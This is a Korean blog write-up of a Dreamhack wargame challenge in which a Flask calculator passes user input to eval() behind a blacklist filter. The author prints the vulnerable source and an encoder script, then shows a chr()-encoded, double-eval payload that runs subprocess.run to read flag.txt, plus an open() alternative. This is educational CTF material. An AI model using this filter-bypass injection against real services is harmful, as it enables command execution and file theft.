덧셈 식을 입력하면 계산 결과를 출력하는 웹 서비스란다.
flag는 ./flag.txt 에 있다고 한다.
문제 페이지이다. 입력을 받는다. 1+2 를 입력하게 되면?
소스코드를 보자
#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import subprocess
import re
app = Flask(__name__)
def filter(formula):
w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
w_list.extend([" ", ".", "(", ")", "+"])
if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
return True
for c in formula:
if c not in w_list:
return True
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
formula = request.form.get("formula", "")
if formula != "":
if filter(formula):
return render_template("index.html", result="Filtered")
else:
try:
formula = eval(formula)
return render_template("index.html", result="formula")
except subprocess.CalledProcessError:
return render_template("index.html", result="Error")
except:
return render_template("index.html", result="Error")
else:
return render_template("index.html", result="Enter the value")
app.run(host="0.0.0.0", port=8000)
request method가 GET일때는 index.html을 띄워주고,
GET이 아닐 때 ex) POST 일때는 formula 파라미터 값을 가져와 formula라는 변수에 저장한다.
formula가 빈 값이 아니면, filter함수에 formula를 전달해준다.
def filter(formula):
w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
w_list.extend([" ", ".", "(", ")", "+"])
if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
return True
for c in formula:
if c not in w_list:
return True
filter 함수이다. 먼저, w_list라는 변수를 만들어 알파벳 소문자 + 알파벳 대문자 + 숫자로 이루어진 리스트를 만든다.
그리고 [" ", ".", "(", ")", "+"] 도 w_list에 추가해 줬다.
그리고 re.search로 여러 키워드를 찾고 있다. 키워드가 formula안에 있으면? True를 반환한다.
re.I를 사용해 대소문자 구별하지 formula의 모든 요소를 for문으로 찾고 있다.
if formula != "":
if filter(formula):
return render_template("index.html", result="Filtered")
else:
try:
formula = eval(formula)
return render_template("index.html", result="formula")
except subprocess.CalledProcessError:
return render_template("index.html", result="Error")
except:
return render_template("index.html", result="Error")
else:
return render_template("index.html", result="Enter the value")
filter() 에서 True를 반환하게 되면, "Filtered" 를 반환한다.
False가 나온다면, eval함수를 사용해 formula를 계산해 다시 formula에 넣어준다.
eval(expression, globals, locals) 함수는 expression 부분을 평가하고 실행하는 기능을 한다.
eval('1+2') -> 3 이 나오게 된다.
eval('1'+'2') -> 는 12가 된다.
eval() 함수는 숫자 계산을 할 수도 있지만 실행을 할 수도 있다.
따라서 eval() 를 사용해 cat /flag.txt 를 실행시키면 될 것이다.
import 되어 있는 subprocess를 사용해 익스플로잇 해보자.
subprocess 모듈 중에 run함수를 이용하면 리눅스 명령을 실행시킬 수 있다.
subprocess.run(['cat', './flag.txt'])
(cat 과 ./flag.txt 사이에 공백이 있을 때는 따로 묶어줘야 한다..!) 중요
하지만 filter() 에서 subprocess 를 필터링하고 있고, w_list 안에 있는 문자들만 사용해야 하기 때문에 우회를 해야 한다.
괄호를 사용할 수 있으므로 chr() 를 통해서 우회를 해보자
유니코드로 변환하는 파이썬 코드
code = input("input : ")
codeleng = len(code)
data = ''
for i in code:
chgord = (ord(i))
data += f"chr({chgord})+"
print(data)
chr(115)+chr(117)+chr(98)+chr(112)+chr(114)+chr(111)+chr(99)+chr(101)+chr(115)+chr(115)+chr(46)+chr(114)+chr(117)+chr(110)+chr(40)+chr(91)+chr(39)+chr(99)+chr(97)+chr(116)+chr(39)+chr(44)+chr(32)+chr(39)+chr(46)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(93)+chr(41)
이 나왔다.
를 입력하면
커맨드는 잘 들어간거 같은데 실행이 안된다..
필터링을 피하기 위해 유니코드로 바꿨으므로 실제 전달할 때는 원문으로 전달해주기 위해 eval()을 한번 더 씌워주면
formula = eval(eval(chr~~))
안쪽 eval은 유니코드를 원문으로 변환을 수행하고
바깥쪽 eval은 구문을 수행하는 역할을 한다.
-> eval(chr(chr(115)+chr(117)+chr(98) ~~ chr(41)
CompletedProcess라고 하는데.. FLAG가 보이지를 않는다..
이럴 때는 subprocess.run(['cat','./flag.txt'], capture_output=True)로 바꿔주자.
capture_output은 파이썬 구문을 실행하고 실행 결과를 보여준다.
True로 설정하고 변환해 넣어보자
flag가 나오게 된다.
open을 이용한 방법
open('./flag.txt', mode='r').read() # mode='r'은 기본값이라 없어도 상관없음
을 사용해도 된다.

끝
'Dreamhack' 카테고리의 다른 글
[Dreamhack] what-is-my-ip 풀이 (1) | 2024.05.23 |
---|---|
[Dreamhack] simple_sqli_chatgpt 풀이 (0) | 2024.04.03 |
[Dreamhack] BypassIF 풀이 (0) | 2024.04.03 |
[Dreamhack] XSS Filtering Bypass Advanced 풀이 (0) | 2024.03.24 |
[Dreamhack] XSS Filtering Bypass 풀이 (0) | 2024.03.20 |